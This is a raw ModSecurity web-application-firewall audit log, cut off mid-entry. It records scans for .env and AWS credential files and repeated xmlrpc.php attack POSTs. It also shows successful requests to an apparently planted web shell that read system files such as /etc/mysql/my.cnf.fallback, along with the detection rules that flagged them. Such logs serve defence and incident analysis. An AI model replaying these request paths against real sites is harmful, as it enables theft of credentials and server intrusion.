"DETECTION_ONLY" --7ff2290a-Z-- --7ba99537-A-- [16/Jun/2025:00:20:58.585107 +0530] aE8WEShnDkBlcF0fkxMIGwAAAAQ 185.177.72.210 40300 127.0.0.1 7081 --7ba99537-B-- GET /members.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7ba99537-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6f4ad718398a00332e1b6504b8e798bc1750013458; expires=Sun, 15 Jun 2025 19:50:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7ba99537-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/members.sql"] [unique_id "aE8WEShnDkBlcF0fkxMIGwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013457894444 690751 (- - -) Stopwatch2: 1750013457894444 690751; combined=2015, p1=378, p2=1513, p3=0, p4=0, p5=123, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7ba99537-Z-- --f3b57528-A-- [16/Jun/2025:00:21:04.614810 +0530] aE8WFy7MaF0j8lD2KTIR7wAAAAM 185.177.72.210 51116 127.0.0.1 7081 --f3b57528-B-- GET /:5601/base/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f3b57528-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=270bfb23c75d92a9e7e272db96473c941750013464; expires=Sun, 15 Jun 2025 19:51:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f3b57528-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/base/.env"] [unique_id "aE8WFy7MaF0j8lD2KTIR7wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013463879890 734983 (- - -) Stopwatch2: 1750013463879890 734983; combined=2401, p1=539, p2=1762, p3=0, p4=0, p5=100, sr=120, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f3b57528-Z-- --de857445-A-- [16/Jun/2025:00:21:05.596754 +0530] aE8WGChnDkBlcF0fkxMIIwAAAAQ 185.177.72.210 51180 127.0.0.1 7081 --de857445-B-- GET /.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --de857445-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5893d8dd4a5620486a6ced4e73c7c5be1750013465; expires=Sun, 15 Jun 2025 19:51:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --de857445-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.staging"] [unique_id "aE8WGChnDkBlcF0fkxMIIwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013464938175 658682 (- - -) Stopwatch2: 1750013464938175 658682; combined=2088, p1=414, p2=1565, p3=0, p4=0, p5=109, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --de857445-Z-- --6da0fe2a-A-- [16/Jun/2025:00:21:20.488484 +0530] aE8WJy7MaF0j8lD2KTIR_wAAAAM 128.199.112.101 36344 127.0.0.1 7081 --6da0fe2a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --6da0fe2a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --6da0fe2a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8WJy7MaF0j8lD2KTIR_wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013479562515 926050 (- - -) Stopwatch2: 1750013479562515 926050; combined=2425, p1=350, p2=1498, p3=45, p4=83, p5=274, sr=95, sw=175, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6da0fe2a-Z-- --c208860b-A-- [16/Jun/2025:00:21:31.794576 +0530] aE8WM3JNE8RtYqH8JCs9ywAAAAI 185.177.72.210 56550 127.0.0.1 7081 --c208860b-B-- GET /:8181/admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c208860b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a5061ef456ff9cc77650ce779f5a17ae1750013491; expires=Sun, 15 Jun 2025 19:51:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c208860b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/admin/.env"] [unique_id "aE8WM3JNE8RtYqH8JCs9ywAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013491051848 742794 (- - -) Stopwatch2: 1750013491051848 742794; combined=2148, p1=521, p2=1529, p3=0, p4=0, p5=98, sr=117, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c208860b-Z-- --816bf73c-A-- [16/Jun/2025:00:21:46.743912 +0530] aE8WQseCLQXSV5p8-VEd_AAAAAA 185.177.72.210 55188 127.0.0.1 7081 --816bf73c-B-- GET /.env.credentials HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --816bf73c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=41b3685c75669a10f33b403083ec6d4e1750013506; expires=Sun, 15 Jun 2025 19:51:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --816bf73c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.credentials"] [unique_id "aE8WQseCLQXSV5p8-VEd_AAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013506046875 697112 (- - -) Stopwatch2: 1750013506046875 697112; combined=2007, p1=398, p2=1513, p3=0, p4=0, p5=95, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --816bf73c-Z-- --29b38b57-A-- [16/Jun/2025:00:22:06.244162 +0530] aE8WVazY0BMZNmg1_r16SAAAAAc 185.177.72.210 48080 127.0.0.1 7081 --29b38b57-B-- GET /awstats.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --29b38b57-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=579f0469ea4aa999ad460ccd266678501750013526; expires=Sun, 15 Jun 2025 19:52:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --29b38b57-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/awstats.conf"] [unique_id "aE8WVazY0BMZNmg1_r16SAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013525579615 664612 (- - -) Stopwatch2: 1750013525579615 664612; combined=2113, p1=373, p2=1635, p3=0, p4=0, p5=104, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --29b38b57-Z-- --5d816a1d-A-- [16/Jun/2025:00:22:08.250770 +0530] aE8WV7eJ43nusOHdFpnsaAAAAAs 185.177.72.210 48238 127.0.0.1 7081 --5d816a1d-B-- GET /HUNIV_migration/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5d816a1d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1e4422c566fd03dd096d7cc9a57a6be81750013528; expires=Sun, 15 Jun 2025 19:52:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5d816a1d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/HUNIV_migration/.env"] [unique_id "aE8WV7eJ43nusOHdFpnsaAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013527582257 668587 (- - -) Stopwatch2: 1750013527582257 668587; combined=2167, p1=538, p2=1530, p3=0, p4=0, p5=98, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5d816a1d-Z-- --77ab2b21-A-- [16/Jun/2025:00:22:09.259693 +0530] aE8WWFN7jBJHKxYIrrCx_QAAAAk 185.177.72.210 48302 127.0.0.1 7081 --77ab2b21-B-- GET /log/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --77ab2b21-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0fbf6659c6dcb0ff391b34741f0b564c1750013529; expires=Sun, 15 Jun 2025 19:52:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --77ab2b21-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/log/.env"] [unique_id "aE8WWFN7jBJHKxYIrrCx_QAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013528583693 676063 (- - -) Stopwatch2: 1750013528583693 676063; combined=1897, p1=530, p2=1275, p3=0, p4=0, p5=92, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --77ab2b21-Z-- --ecf9c635-A-- [16/Jun/2025:00:22:11.236086 +0530] aE8WWleqy5hRjKvJEAyWswAAAAE 185.177.72.210 58022 127.0.0.1 7081 --ecf9c635-B-- GET /.aws/credentials.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ecf9c635-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7c886af39d9d0c22c5cd3d51307e253b1750013531; expires=Sun, 15 Jun 2025 19:52:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ecf9c635-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.aws/credentials.bak"] [unique_id "aE8WWleqy5hRjKvJEAyWswAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013530589621 646542 (- - -) Stopwatch2: 1750013530589621 646542; combined=1763, p1=357, p2=1283, p3=0, p4=0, p5=122, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ecf9c635-Z-- --c42ad154-A-- [16/Jun/2025:00:22:20.774724 +0530] aE8WY6zY0BMZNmg1_r16TwAAAAc 128.199.112.101 46868 127.0.0.1 7081 --c42ad154-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c42ad154-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c42ad154-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8WY6zY0BMZNmg1_r16TwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013539774623 1000156 (- - -) Stopwatch2: 1750013539774623 1000156; combined=2480, p1=354, p2=1601, p3=42, p4=65, p5=252, sr=101, sw=166, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c42ad154-Z-- --24e8a77a-A-- [16/Jun/2025:00:22:24.851675 +0530] aE8WaMS9iiS_j7H7Go63MAAAAAU 18.215.112.101 47090 127.0.0.1 7081 --24e8a77a-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/mysql&viewfile=//etc/mysql/my.cnf.fallback HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 18.215.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --24e8a77a-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3422 Connection: close Content-Type: text/html; charset=UTF-8 --24e8a77a-H-- Message: Warning. Matched phrase "etc/mysql/my.cnf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/mysql/my.cnf found within ARGS:viewfile: /etc/mysql/my.cnf.fallback"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/mysql/my.cnf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/mysql/my.cnf found within ARGS:viewfile: /etc/mysql/my.cnf.fallback"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8WaMS9iiS_j7H7Go63MAAAAAU"] Apache-Handler: application/x-httpd-php Stopwatch: 1750013544846220 5550 (- - -) Stopwatch2: 1750013544846220 5550; combined=3200, p1=491, p2=2512, p3=53, p4=56, p5=88, sr=132, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --24e8a77a-Z-- --918bce56-A-- [16/Jun/2025:00:22:27.639262 +0530] aE8WayKD19h5xDtM-2wWbwAAAAo 34.196.237.236 47208 127.0.0.1 7081 --918bce56-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/dhcp&viewfile=//etc/dhcp/dhclient.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 34.196.237.236 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --918bce56-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3717 Connection: close Content-Type: text/html; charset=UTF-8 --918bce56-H-- Message: Warning. Matched phrase "etc/dhcp/dhclient.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/dhcp/dhclient.conf found within ARGS:viewfile: /etc/dhcp/dhclient.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/dhcp/dhclient.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/dhcp/dhclient.conf found within ARGS:viewfile: /etc/dhcp/dhclient.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8WayKD19h5xDtM-2wWbwAAAAo"] Apache-Handler: application/x-httpd-php Stopwatch: 1750013547635636 3677 (- - -) Stopwatch2: 1750013547635636 3677; combined=1971, p1=303, p2=1544, p3=33, p4=31, p5=60, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --918bce56-Z-- --e6ac4510-A-- [16/Jun/2025:00:22:52.048001 +0530] aE8WhC7MaF0j8lD2KTISMQAAAAM 18.204.89.56 48672 127.0.0.1 7081 --e6ac4510-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/init.d&viewfile=//etc/init.d/hwclock.sh HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 18.204.89.56 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; 